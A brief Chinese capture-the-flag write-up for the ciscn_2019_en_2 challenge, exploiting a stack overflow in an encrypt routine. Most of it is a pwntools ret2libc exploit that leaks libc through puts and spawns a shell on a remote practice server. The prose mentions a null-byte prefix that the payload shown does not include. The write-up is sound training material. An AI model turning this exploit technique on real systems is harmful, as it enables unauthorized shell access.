检查一下
拖入ida查看
这是一个加密装置
在main函数中没有发现明显漏洞
进入encrypt()函数中查看
第10行明显的溢出
然后也是没有发现system函数和"/bin/sh"啊
简单的libc,不多赘述了,但是要进入加密函数,前面有个begin的选择,记得要提前传入1
还有一个就是需要在偏移前加上'\0',防止我们的payload被加密程序的异或给破坏
直接写exp
from pwn import * from LibcSearcher import * context(arch = 'amd64',os = 'linux',log_level = 'debug') io = remote('node5.buuoj.cn',26194) elf = ELF('./ciscn_2019_en_2') offset = 0x50+8 puts_plt_addr = elf.plt['puts'] puts_got_addr = elf.got['puts'] main_addr = 0x400b28 rdi_addr = 0x400c83 ret_addr = 0x4006b9 payload1 = cyclic(offset) + p64(rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) +p64(main_addr) io.sendlineafter("Input your choice!","1") io.sendlineafter("Input your Plaintext to be encrypted",payload1) puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') payload2 = cyclic(offset) + p64(rdi_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr) io.sendlineafter("Input your choice!","1") io.sendlineafter("Input your Plaintext to be encrypted",payload2) io.interactive()最后成功获得flag
